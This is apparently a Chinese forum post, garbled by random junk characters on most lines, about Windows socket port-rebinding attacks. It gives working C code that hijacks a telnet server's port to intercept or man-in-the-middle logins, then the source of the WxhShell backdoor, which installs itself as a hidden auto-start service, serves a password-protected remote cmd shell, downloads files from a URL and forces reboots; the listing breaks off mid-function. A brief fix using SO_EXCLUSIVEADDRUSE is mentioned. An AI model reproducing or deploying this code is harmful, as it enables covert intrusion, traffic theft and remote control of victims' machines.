在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
(d^pYPr{ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
>m}.}g8 #$jAGt3^BT saddr.sin_family = AF_INET;
:b=`sUn<X+ s7FqE>#c0 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
n+zXt?{u /,Ln)?eD bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
]_d(YHYf hx)Ed 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
KPW: r#d x 9Gm)~ 这意味着什么?意味着可以进行如下的攻击:
Ip8 Ap$ C1p
|.L?m 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
v&H&+:< fQ#mx.|8y 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
X%`8h_ s<:"rw` 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
SnQ$ 4I:Jb;k> 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
(`3Bi]7
H.Jcp|k[; 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
#A:I|Q 1$g }y=7r!{@ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
(4M# (I~cE E'XFn' 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
e{=7,DRH< &JfyXM[] #include
mWmDH74 #include
^Xa-)Pu #include
D-ug$ZRg #include
a2dF(H
DWORD WINAPI ClientThread(LPVOID lpParam);
WNm,r>6m int main()
]lz,?izMR {
Ba`]Sm= WORD wVersionRequested;
qf)]!wU9 DWORD ret;
C!qW:H WSADATA wsaData;
xBB:b\ BOOL val;
akd~Z SOCKADDR_IN saddr;
$|(roC( SOCKADDR_IN scaddr;
y9W*/H{[` int err;
U?#6I- SOCKET s;
C,tlp SOCKET sc;
~e%*hZNo int caddsize;
7acAU{Rr HANDLE mt;
,wX/cUyZ
DWORD tid;
.WyI.Y1 wVersionRequested = MAKEWORD( 2, 2 );
HD=WHT& err = WSAStartup( wVersionRequested, &wsaData );
_$cQAH0 E if ( err != 0 ) {
1-w1k^e printf("error!WSAStartup failed!\n");
,0- return -1;
4RTEXoXs }
"DRp4; saddr.sin_family = AF_INET;
F<'g6f )x( *T //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
lV]l`$XI 'J!P:.=a> saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
`awk@ saddr.sin_port = htons(23);
Lg Bs<2 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
dR$P-V\y`% {
o"[qPZd> printf("error!socket failed!\n");
OY[N%wr! return -1;
7F+f6(hB }
xg3G val = TRUE;
$#t&W& //SO_REUSEADDR选项就是可以实现端口重绑定的
z2"2Xqy<U if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
]j1BEO!Bg {
&p=~=&g= printf("error!setsockopt failed!\n");
*l7
ojv return -1;
Bljh'Qp>C }
i&_sbQ^ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
q/4PX //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
c?IIaj! //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
c!kbHZ<Z 4{fi=BA if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
#lJF$ {
=q6yb@ ret=GetLastError();
|W#^L`!G printf("error!bind failed!\n");
7Kh+m@q. return -1;
tM@TT@.t~ }
+ FLzK( listen(s,2);
N4H nW0 while(1)
q=96Ci _a {
$]Fe9E? caddsize = sizeof(scaddr);
4[Oy3.-c //接受连接请求
`0.5aa sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
[bGdg if(sc!=INVALID_SOCKET)
Q^mJ _~ {
hTg%T#m mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
>@rp]xx if(mt==NULL)
56TUh_ {
J+z0,N[ printf("Thread Creat Failed!\n");
:UScbPG break;
>
]6Eb`v }
\J1Jn~ }
[8)Zhw$ CloseHandle(mt);
t3bN
PK^ }
b,SY(Ce~g closesocket(s);
C/]0jAAE7 WSACleanup();
W}T+8+RU return 0;
wl9E }
cT.1oaAM0 DWORD WINAPI ClientThread(LPVOID lpParam)
"J[Cr m {
Gia_B6*Y[ SOCKET ss = (SOCKET)lpParam;
oq0G@ SOCKET sc;
0eUsvzz15 unsigned char buf[4096];
B}*xrPj SOCKADDR_IN saddr;
N2~DxVJ5cT long num;
$e<3z6 DWORD val;
6.K)uQgjmv DWORD ret;
vk[Km[(U' //如果是隐藏端口应用的话,可以在此处加一些判断
@$~%C) %u //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
jfgAI7;b saddr.sin_family = AF_INET;
4'X^YBm saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
fmloh1{4 saddr.sin_port = htons(23);
}|A%2!Q} if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
_jnH!Mw {
zeR!Y yt! printf("error!socket failed!\n");
w/Q'T&>b/ return -1;
gy* N)iv% }
(( t8 val = 100;
t@!oc"z}@ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{){i
ONd {
8[zP2L!- ret = GetLastError();
]1p&*xX:Bj return -1;
}hl#
e[$ }
!@*Ac$J>$ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
]LP&v3 {
lDAw0 C3 ret = GetLastError();
v}[7)oj| return -1;
ot,<iE#za }
nP_ s+k if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
JO1c9NyKr {
U24?+/5D] printf("error!socket connect failed!\n");
xT=|Uc0 closesocket(sc);
w3yI;P closesocket(ss);
[g<6i.<I return -1;
0~^opNR }
[nflQW6 while(1)
oYqlN6n,=6 {
b]*9![_ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
<EpP; //如果是嗅探内容的话,可以再此处进行内容分析和记录
(u$Q //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
m2VF}%
EIr num = recv(ss,buf,4096,0);
2&5"m;< if(num>0)
{mueP6Gz@J send(sc,buf,num,0);
(obeEH5J else if(num==0)
N5oao'7|A break;
P_i2yhpK num = recv(sc,buf,4096,0);
=">O;L.xj if(num>0)
v\f 41M7D send(ss,buf,num,0);
nc&V59*
else if(num==0)
+hKQha!* break;
+B*ygv: }
WvN5IHo 8i closesocket(ss);
,=z8aiUu closesocket(sc);
m qtl0P0 return 0 ;
kS+*@o }
)2FS9h.t 5v>(xl \!s0VEE ==========================================================
})ss. QbS w<V 下边附上一个代码,,WXhSHELL
S{J$[!F %.<w8ag ==========================================================
3!ulBiMh eK3J9;X #include "stdafx.h"
!XgkK k hv7!x=?8 #include <stdio.h>
1LcQ*d #include <string.h>
%'t~+_ #include <windows.h>
:9K5zD #include <winsock2.h>
*gZ4Ub|O #include <winsvc.h>
o),i2 #include <urlmon.h>
3Jk;+< U2+CL)al^ #pragma comment (lib, "Ws2_32.lib")
QJ pUk%Wj #pragma comment (lib, "urlmon.lib")
.$S`J2Y DhkzVp_ #define MAX_USER 100 // 最大客户端连接数
d<: VoQM6M #define BUF_SOCK 200 // sock buffer
{v~&.| #define KEY_BUFF 255 // 输入 buffer
8ae]tX5$ q6/ o.j #define REBOOT 0 // 重启
}%_x T #define SHUTDOWN 1 // 关机
?u 9)
GJO[ t</Kel|D #define DEF_PORT 5000 // 监听端口
/koNcpJ !L-.bve! #define REG_LEN 16 // 注册表键长度
lty`7(\ #define SVC_LEN 80 // NT服务名长度
f{5)yZ`J* N.BD]_C // 从dll定义API
i>0I '~V typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
U3%!#E{ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
^vo^W: typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
j}S typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
I@ }:} 8t >^>
\y8on // wxhshell配置信息
z26zl[. struct WSCFG {
B 2&fvv? int ws_port; // 监听端口
^|as]x!sv char ws_passstr[REG_LEN]; // 口令
].2q.7Yur int ws_autoins; // 安装标记, 1=yes 0=no
Wi hOGdUS6 char ws_regname[REG_LEN]; // 注册表键名
U*v//@WbH char ws_svcname[REG_LEN]; // 服务名
n5oB#>tI0 char ws_svcdisp[SVC_LEN]; // 服务显示名
)"|g&= char ws_svcdesc[SVC_LEN]; // 服务描述信息
c?b?x
6 2 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Qn<J@% int ws_downexe; // 下载执行标记, 1=yes 0=no
[-1Nn} char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
I=Ws
/+ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
1 dI o&gcFOM22 };
#Rjm3#gc )N`ia%p_] // default Wxhshell configuration
A^%z;( 0p struct WSCFG wscfg={DEF_PORT,
A3yVT8 "xuhuanlingzhe",
A$fd6+{ 1,
3"!2C,3c# "Wxhshell",
)!p=0&z@{ "Wxhshell",
6Z|/M6f "WxhShell Service",
&l{yEWA}g "Wrsky Windows CmdShell Service",
rWi9'6 "Please Input Your Password: ",
L=4?vs 1,
?nj _gL "
http://www.wrsky.com/wxhshell.exe",
j08|zUe "Wxhshell.exe"
|5$9l#e };
+JBhw4et;. 0O"GI33Mg // 消息定义模块
BP*gnXj char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
9=
\bS6w* char *msg_ws_prompt="\n\r? for help\n\r#>";
xWn.vSos char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
D-A#{e _ char *msg_ws_ext="\n\rExit.";
Hfm4 char *msg_ws_end="\n\rQuit.";
+z;xl-*[ char *msg_ws_boot="\n\rReboot...";
W"VN2 char *msg_ws_poff="\n\rShutdown...";
44RZk|U1J{ char *msg_ws_down="\n\rSave to ";
mmr>"`5. ,LWM}L char *msg_ws_err="\n\rErr!";
S1E2E3 char *msg_ws_ok="\n\rOK!";
3 +BPqhzf qmOGsj`# char ExeFile[MAX_PATH];
8p>%}LX/ int nUser = 0;
6i%LM`8GEk HANDLE handles[MAX_USER];
a%Cq?HZ7 int OsIsNt;
/ D#vs9S 241YJ SERVICE_STATUS serviceStatus;
@l>\vs< SERVICE_STATUS_HANDLE hServiceStatusHandle;
M+)%gnq`u QH~/UnV // 函数声明
$:/y5zi int Install(void);
^ yH|k@y int Uninstall(void);
NQ@ EZoJ int DownloadFile(char *sURL, SOCKET wsh);
T?^AllUZQR int Boot(int flag);
nLQ
3s3@1> void HideProc(void);
q;tsA"l int GetOsVer(void);
(fm\kV int Wxhshell(SOCKET wsl);
= J).(E89 void TalkWithClient(void *cs);
tG{e( int CmdShell(SOCKET sock);
6<sB int StartFromService(void);
dq"b_pr; int StartWxhshell(LPSTR lpCmdLine);
X
f!Bsp#\g RZm5[n VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
52wq<[#tK VOID WINAPI NTServiceHandler( DWORD fdwControl );
dSk\J[D r"Pj,}$A // 数据结构和表定义
% 49@ SERVICE_TABLE_ENTRY DispatchTable[] =
_6^ vxlF {
7b:oz3 ?PI {wscfg.ws_svcname, NTServiceMain},
|C7GI[P {NULL, NULL}
+lO
Y
IQ };
\qV5mD]"M >xJt&jW- // 自我安装
{B?%r[nW int Install(void)
06 K8|K {
`
n@[=l~ char svExeFile[MAX_PATH];
' OdZ[AN HKEY key;
mL18FR N strcpy(svExeFile,ExeFile);
7<|1 xOT A$Es(<'9g // 如果是win9x系统,修改注册表设为自启动
V4/P if(!OsIsNt) {
v?fB:[dG
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Y@M=6G RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
REQ2pfk0 RegCloseKey(key);
Ml+.\'r if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
f==o
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
[$8*(d"F' RegCloseKey(key);
Q:>;d-D|1 return 0;
zP
rT0 }
JWlH(-U4| }
Ud`V"X }
dZ`nv[]k~ else {
u2JkPh&!rq X[h=UlF // 如果是NT以上系统,安装为系统服务
h8u(lIRHQ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
<uu1e@P if (schSCManager!=0)
&=X1kQG {
QbxjfW"/+ SC_HANDLE schService = CreateService
(@uQ>dR: (
g0cCw2S schSCManager,
Qn[4 &nUD wscfg.ws_svcname,
P,CJy|[L wscfg.ws_svcdisp,
p
Ic;9 SERVICE_ALL_ACCESS,
*G'zES0x SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
@T?:[nPf&F SERVICE_AUTO_START,
a%Mbq; SERVICE_ERROR_NORMAL,
K34ca-~ svExeFile,
;# {XNq<1 NULL,
[WY
NA-O NULL,
_
nS';48 NULL,
L4
x NULL,
/uW6P3M NULL
f!xIMIl)+ );
1PjSa4 if (schService!=0)
zu*0uL {
AG/nX?u7)t CloseServiceHandle(schService);
w+2:eFi=/ CloseServiceHandle(schSCManager);
7.8ukAud strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
RTH dL strcat(svExeFile,wscfg.ws_svcname);
Xb)XV$0 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
$M$oNOT}Y RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
T7Lk4cU RegCloseKey(key);
9 n|H%AC return 0;
xqmJPbA
}
%}+j4n }
y 9/27yWB CloseServiceHandle(schSCManager);
$ hg
W>e }
"aB]?4 }
yr[iAi" kx]f`b return 1;
EOVHTDkKf }
.6(Bf$E ?n? Ep [D // 自我卸载
lOI(+74 int Uninstall(void)
8
x|NR? {
pOlQOdl HKEY key;
fHlmy[V+M 67/hhO if(!OsIsNt) {
2EQ:mjxk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
2X]2;W)S; RegDeleteValue(key,wscfg.ws_regname);
g#9KG RegCloseKey(key);
wgkh}b
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Ju)2J?Xs5 RegDeleteValue(key,wscfg.ws_regname);
Il~ph9{JH RegCloseKey(key);
9)aXLM4Y return 0;
Ocx=)WKdW }
?
Yy[8_(tN }
9.#\GI ; }
(+CB)nV0IA else {
D
GOc! 7KuTC%7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
'#u|RsZ if (schSCManager!=0)
"%qGcC8 {
A}H)ojG'v SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
N$:[`, if (schService!=0)
Z^>3}\_v {
wH{lp/ if(DeleteService(schService)!=0) {
x8b w# CloseServiceHandle(schService);
/bfsC&
3 CloseServiceHandle(schSCManager);
KB*[b return 0;
#E{OOcM }
ldI;DoE#U1 CloseServiceHandle(schService);
@~QW~{y }
uH65DI< CloseServiceHandle(schSCManager);
gPQ2i])"Q }
rguC#Xt!4 }
#x':qBv# -.ha\ t0J return 1;
HQQc<7c", }
j9x}D;?n Maf!,/U4 // 从指定url下载文件
pYceMZ$ int DownloadFile(char *sURL, SOCKET wsh)
bYgrKz@uK {
'JKFEUzM HRESULT hr;
#*}4= char seps[]= "/";
l4L&hY^ char *token;
w<-CKM3qe char *file;
BU<A+Pe> char myURL[MAX_PATH];
i^Ep[3 char myFILE[MAX_PATH];
v)okVyv wEQV"I strcpy(myURL,sURL);
Co[ rhs token=strtok(myURL,seps);
B07(15y] while(token!=NULL)
gqyQ Zew {
i/-Xpj]Zf file=token;
*D*K`dk token=strtok(NULL,seps);
VISNmz2P }
;IXDZ#; xwTN\7f> GetCurrentDirectory(MAX_PATH,myFILE);
I$9t^82j strcat(myFILE, "\\");
5~aSkg,MD strcat(myFILE, file);
oPo<F5M]d% send(wsh,myFILE,strlen(myFILE),0);
x)THeH@ send(wsh,"...",3,0);
M=`F $ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
FUvZMA$ if(hr==S_OK)
`fY~Lv{4d_ return 0;
psgXJe$ else
6@ToPbj4 return 1;
1i$9x$4~E na(@`(j[ }
bn~=d@' 6_^u}me // 系统电源模块
m`I6gnLj int Boot(int flag)
HGh`O\f8 {
|XLx6E2F HANDLE hToken;
~y$B#.l TOKEN_PRIVILEGES tkp;
%RdCSQ9~ -9.S?N'T>; if(OsIsNt) {
_\"7 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
D(@#Gd\Z@ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
&r/a\t,8n tkp.PrivilegeCount = 1;
a^,6[ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
m9wV#Ldu AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
mI@E>VCV[ if(flag==REBOOT) {
st+X~;PX* if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
)$#ov-] return 0;
;jo,&C }
VbKky1a@ else {
mxGa\{D#y if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
vd9l1"S return 0;
`~(KbH=] }
;rV0 }
[^8*9?i4 else {
`.#e4 FBW if(flag==REBOOT) {
^ :6v-
Yx if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Yvs9)g return 0;
hz>&E,<8q }
_;G"{e.= else {
&
WYIfx{ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
}f; Zx)! return 0;
esLPJx }
kzbgy)PK3 }
q/XZb@rt Pi40w+/ return 1;
[JO'ta }
{h7*a= YaFQy0t%/5 // win9x进程隐藏模块
])7t!< void HideProc(void)
[`6|~E"F {
k8GcHqNHx :@`Ll;G HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
z<m,Xj4w if ( hKernel != NULL )
f:KKOLm {
u;F++$= pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
&g\D-At ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
=L#tSa=M" FreeLibrary(hKernel);
<DvpqlT }
<q~&g
&&+ )67Kd] return;
BBnj}XP*4 }
/IxMRi= 4[ "$}O5 // 获取操作系统版本
qg 4:Vq int GetOsVer(void)
l$}h1&V7 {
CD +,&id OSVERSIONINFO winfo;
I8Y[d$z winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
V=H87^b GetVersionEx(&winfo);
sc@v\J;k if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
s~6?p%
2] return 1;
Hd
U1gV> else
>wNE!Oa*B return 0;
L@_IGH }
q-KN{y/ w5bD // 客户端句柄模块
TlYeYN5V int Wxhshell(SOCKET wsl)
Y@c!\0e$ {
DQ?'f@I&* SOCKET wsh;
erdWGUfQOe struct sockaddr_in client;
r\F`xtR( DWORD myID;
x&8HBF' S=U*is while(nUser<MAX_USER)
jI_TN5 {
N>z_uPy{A int nSize=sizeof(client);
zRx-xWo wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
[@eNb^R if(wsh==INVALID_SOCKET) return 1;
zbOEF 2~<?E`+ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
LR@rn2Z if(handles[nUser]==0)
-|~6Zf" closesocket(wsh);
DDw H9* else
nBgksB*A nUser++;
?}D@{%O3T }
w-Y-;*S WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
ZL:nohB +Tf ,2?O return 0;
:tu6'X\k }
=nh/w# Q0Y0Zt,h // 关闭 socket
wcspqC" _ void CloseIt(SOCKET wsh)
(%rO'X {
qSlC@@.> closesocket(wsh);
]S[M]-I nUser--;
s_N?Y)lS+( ExitThread(0);
6wYd)MDLL }
4N[8LC;MH q~^Jd=cB\ // 客户端请求句柄
C&^"]-t void TalkWithClient(void *cs)
L%# #U'e3 {
vj]-p= 1mz;4xb SOCKET wsh=(SOCKET)cs;
JQP7>W char pwd[SVC_LEN];
+H,/W_/g char cmd[KEY_BUFF];
fil'._ char chr[1];
:EJ+# int i,j;
Psij*%I4 *)gbKXb while (nUser < MAX_USER) {
p~Fc*g[! xL3-(K6e if(wscfg.ws_passstr) {
c:.k2u if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
3fgVvt-2 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
P3jDx{F //ZeroMemory(pwd,KEY_BUFF);
4yW9}=N! i=0;
f
wWI2"} while(i<SVC_LEN) {
`PXSQf ykrb/j|rK // 设置超时
%>_ZUu3M fd_set FdRead;
]x8^s struct timeval TimeOut;
AifnC4 FD_ZERO(&FdRead);
YDE;mIW FD_SET(wsh,&FdRead);
M.O3QKU4 TimeOut.tv_sec=8;
l ~kxt2& TimeOut.tv_usec=0;
(, Il>cR4 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
vn}:$|r$J if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
l`G .lM( v)mO"\ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
ZW{pO:- pwd
=chr[0]; 6}ct{Q
if(chr[0]==0xd || chr[0]==0xa) {
M<hX!B
pwd=0; qn}4PVn4
break; g]PmmK_L
} `bw>.Ay
i++; Squ'd
} ZT:&j4A|0
FGo{6'K(:
// 如果是非法用户,关闭 socket U6;,<-bL
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]|ew!N$ar=
} .Xnw@\k'
}ac0}
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); O>9+tQ
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e~w-v"'
7SO i9JU_
while(1) {
49q\/
FJDx80J
ZeroMemory(cmd,KEY_BUFF); o{5es
th]1>
.
// 自动支持客户端 telnet标准 ^iAOz-H
j=0; T~@$WM(
while(j<KEY_BUFF) { }wJ-*By{+
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'yd<<BM`
cmd[j]=chr[0]; 4+qoq$F</
if(chr[0]==0xa || chr[0]==0xd) { >_bH,/D'
cmd[j]=0; 3@P
2]Q~D
break; kXK D>."E*
} qT7E"|.$
j++; <\l@`x96"D
} OPHf9T3H
oKjQ?
4
// 下载文件 wPdp!h7B~N
if(strstr(cmd,"http://")) { I/:M~ b
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0IO#h{t
if(DownloadFile(cmd,wsh)) OP>rEUtj
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4d~Sn81xW
else C\#E1\d
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?hu}wl)
} C{AVV<
else { '}3@D$YiM%
-wJ/j~+m+
switch(cmd[0]) { y
qDE|DIez
M_asf7|v
// 帮助 B=?4; l7
case '?': { =s3f{0G
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Z<+Ipj&
break; $KDH"J
} P(B:tg
// 安装 KtH-QQDluj
case 'i': { nHiE$Y
if(Install()) $}kT)+K
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z#w@ /!"}T
else QfqosoP\D
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lQ/u#c$n
break; 7&-i
:2
} Ps=OL\i
// 卸载 B+W 4r9#
case 'r': { cVCylRU"
if(Uninstall()) ON"F
h'?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8:s"
^YLN
else mc37Y.
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b3Nr>(Z<}
break; 5k /Y7+*?E
} qRy<W
// 显示 wxhshell 所在路径 T#&tf^;
case 'p': { gG5@ KD6k
char svExeFile[MAX_PATH]; ~:8}Bz2!5
strcpy(svExeFile,"\n\r"); s az<NT
strcat(svExeFile,ExeFile); Tp7*T8
send(wsh,svExeFile,strlen(svExeFile),0); 3@xn<eu
break; [wKnJu
} kC~\D?8E=
// 重启 zl~`>
case 'b': { 6R_G{AWLL
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); dk}T&qZ~p
if(Boot(REBOOT)) 7Uy49cs,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ig:E`Fe@
else { X'BFR]cm
closesocket(wsh); ca~nfo
ExitThread(0); y"5>O|`
} ks{y=@<,
break; gKyYBr
} 9k5$rK`
// 关机 "zpc)'$L=
case 'd': { .v<Q-P\8/
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); eRV4XB :
if(Boot(SHUTDOWN)) cPQUR^!5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); DK-V3}`q}
else { e}V3dC^pU
closesocket(wsh); dw6U}
ExitThread(0); aE]/w1a
} kTJz .
break; GJ1ap^k
} l]:nncpns
// 获取shell 2|2'?
case 's': { kY e3A&J
CmdShell(wsh); (- ]A1WQ?
closesocket(wsh); iIZDtZFF
ExitThread(0); bo>4:i
break; `|9NxF+
} ji'NR
// 退出 fC1PPgQ\
case 'x': { Z1@E
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0M[O(.x
CloseIt(wsh); 70sb{)
break; %5) 1^
} R1CoS6
// 离开 L?[NXLn+
case 'q': { f9R~RRz
send(wsh,msg_ws_end,strlen(msg_ws_end),0); |ATz<"q>
closesocket(wsh); WX2:c,%:
WSACleanup(); ey icMy`7{
exit(1); 5G$sP,n
break; QOb+6qy:3
} R<"fcsU
} `TugtzRU
} +@n8DM{b
P;B<R"
// 提示信息 J`uO~W"
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sR(or=ub~
} m6'VMW
} s"tyCDc.c
12W`7
return; W Z!?O0.A
} gG^A6Ol%D
Zq,[se'nh"
// shell模块句柄 d<x7* OW)
int CmdShell(SOCKET sock) n+ot. -
{ rt5FecX\
STARTUPINFO si; c,wYXnJ_t
ZeroMemory(&si,sizeof(si)); &Nzq/~uqP
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; NI^=cN,l
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |@Cx%aEKU
PROCESS_INFORMATION ProcessInfo; zk#NM"C+
char cmdline[]="cmd"; ~ 9F
rlj
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |$hBYw
return 0; k/U1
: 9
} WAd5,RZ?
Ib8*rL0p<L
// 自身启动模式 {=Z xF
int StartFromService(void) >v
sy P
{ B~\mr{|u
typedef struct ](^$5Am
{ H%`$@U>
DWORD ExitStatus; 1R}rL#h;=
DWORD PebBaseAddress; 4Z'/dI`
DWORD AffinityMask; !c 3c%=W
